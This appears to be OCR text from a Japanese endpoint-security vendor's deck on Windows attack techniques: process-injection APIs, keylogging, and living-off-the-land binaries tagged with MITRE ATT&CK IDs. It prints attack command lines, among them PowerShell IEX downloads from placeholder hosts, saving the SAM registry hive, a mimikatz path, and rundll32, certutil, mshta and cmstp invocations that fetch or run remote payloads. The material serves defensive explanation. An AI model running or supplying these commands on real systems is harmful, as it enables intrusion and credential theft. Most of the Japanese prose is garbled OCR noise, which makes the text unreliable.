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TOCLIANDA YO0 aVICE > TERINZAERDOH 2 —ED X1 7+ 7 Windows BEIF. XD HD
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BHISRDIBICHOHINE T (HBICL>TERDXT),

m VirtalAlloc(Ex) - 7O XRIC AT ZHERL £,

B WriteProcessMemory() - R LIEX TV ICEEDH S I— REEZIAAHF T,

B VirtualProtect - X £ DIREREMZEE L TETHEREZS5Z £ 7,

B CreateRemoteThread() - B0 7O ROV THF A TEZDH S I—REETLET,
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B GetAsyncKeyState() - [Ri8F —DIREDKRELZER L £9,
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4 Windows SREEISIRAEEEL S N =T AEM
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1 stdoutazrrsronERInLAREL

5 PowerShell I & % Windows Defender DX A

2 Empire TT > d— K& iR+ O— K OaEEEM

3 net localgroup add IC& 21 —H—T7hH U > MMERK

IVRRAY X2 )T+ BELNTBEINITEEN

5 Base64 TI > d— R I N=FEA PowerShell D17
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https://www.blackberry.com/ja/jp/products/cylance-endpoint-security/cylance-guard
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powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('hxxp://x.x.x.x/test[.]
exe’)-testexe C WS T 7 TIE QEBHONZ Y —N—D54T7>O0-RLT.ETLET,

MO BEERDOIRIE CTHEEICEH I3 PowerShell @ /82 —>h 5. PowerShell BEEDER % GRS 2 726 DEY]
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powershell -Com Sbddgwag=(gi en""v"":rxxazg0);Szqutnij=(gi en""v"": rxxazgl);nal xstoy $ T1059.001
bddgwq Value; xstoy $ zqutnij Value ‘

C:\Windows\system32\reg.exe" save HKLM\SAM c:\windows\h\sam.hiv T1003.002

PowerShell D4~ > 00— RO > R "(New-Object System.Net.WebClient). DownloadString

(\"http://X.X.XX/sc.ps1\")" T1105

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive

-ExecutionPolicy Unrestricted -EncodedCommand - **BLOB % &Bg ** 11059.001

rundll32.exe C:\WINDOWS\system32\davclnt.dll,DavSetCookie x.x.x.x http://x.x.x.x/x/sound.wav T1218.011

C:\Users\xx\Downloads\x\x\Mikatz\mimikatz_trunk\mimikatz_trunk\x64\ T1003.001
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MITRE ID

Rundll32.exe
(Windows >~ X7 LA TOD DLL 7 7 1 JLDERITICER)

T1218.011

RANETOEEZEDHZ 7 71 )L DETICHER
UE—RABAETYO—RLEEPSRIU P REETTS IS RT YU T SDETICHER
AEBET—2XNU—L (ADS) IZRESNTWVWS DLL 7 7 1 )L DZEITICER

rundll32.exe malfiles, EntryPoint

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").
Run("powershell -nop -exec bypass -c IEX (New-ObjectNet.WebClient).DownloadString"hxxp[:]//ip:port/

rundll32 "C:\a\badfile.txt:ADSDLL.d(l",DlIMain

MITRE ID
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T1560.001
T1553.004

certutil.exe
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NI F VT A MADEGOB CHREEREAZ TS DICKII> T I —DJIL— hEREEZ 1 VA =)L T B DITfE
FBrIEE

-certutil.exe -urlcache -split -f hxxp[:]//example[.]Jcom/malwarepayload

-certutil -addstore -f -user ROOT ProgramData\cert512121.der
| | ||
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https://attack.mitre.org/techniques/T1553/004/
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Mshtavbscript:Close(Execute('GetObject( script:hxxps[:]//webserver/payload[.]sct™}))

T1218.005

MITRE ID

cmstp.exe

. ) ) T11218.003
(Microsoft Connection Manager Profile Installer)

BRAFE

«EBRODHBI— FORIEBETICHEA
scmstp.exe (CBEDH 2 ANV RICRERFELIZINF 7 7L Zzi8E T 5 AleElE

cmstp.exe /s /ns C:\\Users\\ADMINI~W\\AppData\\Local\\Temp\\malicious.inf
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https://attack.mitre.org/techniques/
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